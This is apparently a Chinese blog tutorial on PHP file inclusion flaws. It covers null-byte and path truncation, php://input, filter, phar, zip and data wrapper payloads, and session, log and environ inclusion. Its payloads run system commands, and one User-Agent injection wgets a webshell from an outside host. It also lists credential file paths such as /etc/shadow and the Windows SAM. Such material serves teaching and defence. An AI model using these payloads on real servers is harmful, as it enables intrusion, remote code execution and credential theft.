PHP文件包含总结


0x00 简介

什么是文件包含:

简单一句话,为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。

漏洞成因:

在包含文件时候,为了灵活包含文件,将被包含的文件设置为变量,且外部可控。如果这个可控变量在服务器端未作合理地校验或者能别绕过,就会导致文件包含漏洞。通常文件包含漏洞出现在php语言中。

0x01 相关函数

php有四个引发文件包含漏洞的函数:

include()
    当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时,给出警告,继续向下执行。
    
include_once()
    功能与include()相同,区别在于当重复调用统一文件时,程序只调用一次。
    
require()
    require()与include的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
    
require_once()
    功能与require()相同,区别在于当重复调用统一文件时,程序只调用一次。

简单来讲它们的区别就是:

require报错直接退出,include抛出警告继续执行。而xx_once,主要是用来避免函数重定义或变量重赋值等问题。

当利用这四个函数包含文件时,不管什么类型的文件,都会被当作php解析。

想要成功利用文件包含漏洞,需要满足两个条件:

  1. include等函数通过动态变量的方式引入需要包含的文件。

  2. 用户能够控制该动态变量。

除了这四个函数外,php中能对文件进行操作的函数都有可能出现漏洞。虽然大多数情况下不能执行php代码,但能够读取敏感信息带来的后果也很严重。

fopen()
fread()
...

0x02 分类

LFI(本地文件包含)

例:

<?php
$file = $_GET['file'];
if(file_exists('E:/phpstudy_pro/include_test/'.$file.'.php')){
    include 'E:/phpstudy_pro/include_test/'.$file.'.php';
}
?>

这里是一个文件包含的实例代码,但是要解决一个后缀限制问题,我们可以采用00截断的方式绕过php后缀。

这里再重温一次00截断,PHP内核是由C实现的,因此使用了C语言中中的一些字符串处理函数。在连接字符串时,0字节(\x00)将作为字符串结束符。

开始的时候并未截断成功,排查后,发现是php的 magic_quotes_gpc 未设置为OFF。

magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括:post、get、cookie过来的数据增加转义字符 “\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。

magic_quotes_gpc 打开,%00会被转义为\0两个单体字符,不再具有截断功能。

还需要注意的一点是php版本需要为5.3.4以下

image

有些程序过滤了\0字节

但是这样并没有完全解决问题,利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。

Windows下256字节
Linux下4096字节

达到最大值,最大值长度之后的字符串将被丢弃。

可以采用以下方式构造长的目录:

./././././././././././abc
///////////////abc
../1/abc/../1/abc/../1/abc

上面的例子可以看到,我们使用了“../../”这样的方式来返回到上层目录中,这被称作目录遍历,还可以通过不同的编码方式来绕过一些服务器端逻辑。

目录遍历漏洞是一种跨越目录读取文件的方法,但当PHP配置了 open_basedir 时,将很好地保护服务器,使得这种攻击无效。

open_basedir 的作用是限制在某个特定目录下PHP能打开的文件

RFI(远程文件包含)

条件较为苛刻:

需要在php.ini中进行配置

  1. allow_url_fopen=On

  2. allow_url_include=On

在php.ini中,allow_url_fopen 默认为On,而allow_url_include从php5.2之后就默认为Off了。

例:

<?php
if ($route == "share") {
    require_once $basePath.'/action/m_share.php';
}elseif ($route == "sharelinnk")
    
?>
image
payload:?file=[http|https|ftp]://websec.wordpress.com/shell.txt

0x03 包含姿势

测试代码

<?php
    $file=$_GET['file'];
    include $file;
?>

1) PHP伪协议

img

php://input

利用条件:allow_url_include=On

它是个可以访问请求的原始数据的只读流。(这里的原始数据指的是POST数据)

利用伪协议的这种性质,我们可以将LFI衍生为一个代码执行的漏洞。

还有一点,enctype="multipart/form-data"的时候 php://input 是无效的。

image

php://filter

利用条件:无特殊

这是我们常常使用的一个伪协议,在任意文件读取,甚至是getshell的时候都有利用的机会。

php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式的文件函数非常有用类似 readfile()file()file_get_contents() ,在数据流内容读取之前没有机会应用其他过滤器。

其参数:

名称 描述
resource=<要过滤的数据流> 必须。指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<; 两个链的筛选列表> 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链

例如:

image
index.php?file=php://filter/convert.base64-encode/resource=index.php

这段payload和上面效果一致的,少了read等关键字。在绕过一些waf时也许有用。

base64就可以看到内容,这里如果不进行base64_encode,则被include进来的代码就会被执行,导致看不到源代码。

或者向磁盘写入文件

<?php
    /*这会通过 rot13 过滤器筛选出字符 "Hello World" 然后写入当前目录下的 example.txt*/
    file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
?>

phar://

利用条件:php版本大于等于5.3.0

phar是一个文件归档的包,类似于java中的Jar文件,方便了php模块的迁移。

加入有个文件phpinfo.txt,其内容为 <?php phpinfo(); ?> ,打包成压缩包,如下:

首先用phar类打包一个phar标准包

<?php
$p = new PharData(dirname(__FILE__).'/test.zip',0,'test',Phar::ZIP);
$x=file_get_contents('./info.php');
$p->addFromString('a.jpg',$x);
?>

会生成一个zip的压缩文件,然后构造

?file=phar://test.zip/a.jpg
image

采用点:

当如我们前文例题,对包含的后缀名做了限制(include $file.'.php'),而又不能做00截断的时候,可以采用这种方法尝试,上传一个phar文件,再利用php伪协议包含。

zip://

利用条件:php版本大于等于5.3.0

这个和phar类似。

但是需要将 # 编码为 %23 ,之后写上压缩包内容。

image

data:URL schema

利用条件:

1、php版本大于等于5.2

2、allow_url_fopen=On

3、allow_url_include=On

payload:
127.0.0.1/test/LFI.php?file=data:text/plain,<?php phpinfo();?>
127.0.0.1/test/LFI.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
image

也可以用来读php文件源码或者命令执行

payload:
data:text/plain,<?php system(‘cat /var/www/phprotocol1.php’)?>
data:text/plain,<?php system(‘whoami’)?>
image

php伪协议常出现在ctf中,总结如下

img

2) 包含session

利用条件:session文件路径已知,且其中内容部分可控。条件较为苛刻

没有通用的方法

x|s:19:"<?php phpinfo(); ?>"

常见的php-session存放位置:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

3) 包含日志

访问日志

利用条件:需要知道服务器日志的存储路径,且日志文件可读

很多时候,web服务器会将请求写到日志文件中,比如apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下保存在/var/log/apache2/。

image

直接在burpsuite中get地址写payload就行了,写浏览器里会有url编码的问题

常见的路径

/etc/httpd/logs/access_log
/var/log/apache/access_log
/var/www/logs/access_log
/var/log/access_log

SSH log

利用条件:需要知道ssh-log的位置,且可读。默认为/var/log/auth.log

ssh连接

ssh '<?php phpinfo(); ?>'@remotehost

4) 包含environ

利用条件:

1、Php以cgi方式运行,这样environ才会保持UA头

2、environ文件存储位置已知,且environ文件可读

检查proc/self/environ是否可访问

www.xxx.com/view.php?page=../../../../proc/self/environ

可访问则可以利用

在burpsuite改User-Agent

<?system('wget http://www.sss.com/oneword.txt -O shell.php');?>

5) 包含fd

类似environ

6) 包含临时文件

image

php中上传文件(以form-data),会创建临时文件。在Linux下使用/tmp目录,而在windows下时用c:\windows\temp目录。在临时文件被删除前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

7) 其余

一个web服务往往会用到多个其他服务,比如ftp服务,数据库等等。这些应用也会产生响应的文件,但这就需要具体问题具体分析了。

0x04 扩展

常见的敏感信息路径

Windows

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

0x05 防御方案

1、在很多场景都需要去包含web目录之外的文件,需要配置open_base

2、做好文件和目录的权限管理

3、对危险字符进行过滤

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。